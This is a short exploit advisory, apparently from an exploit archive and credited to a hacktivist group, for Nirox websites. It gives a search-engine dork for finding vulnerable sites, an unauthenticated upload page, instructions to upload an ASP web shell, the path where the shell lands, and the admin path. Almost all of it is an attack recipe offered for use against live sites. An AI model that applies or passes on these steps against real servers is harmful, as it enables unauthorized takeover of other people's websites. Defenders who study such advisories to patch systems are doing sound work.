Nirox Upload Shell Exploit

# Exploit Title: Nirox Upload Shell Exploit
# Google Dork: "Powered By nirox" .. many dorks
# Date: 05/08/2014
# Exploit Author: Palestine Cyber Army
# Vendor Homepage:http://www.nirox.co.il/
# Version: all Versions
# Tested on: Windows


# Exploit:
go to

http://localhost//nsa/includes/popup.asp?id=1

upload shell.asp

your uploaded file here = localhost/upload/shell.asp

# Admin Path:
http://localhost/nsa/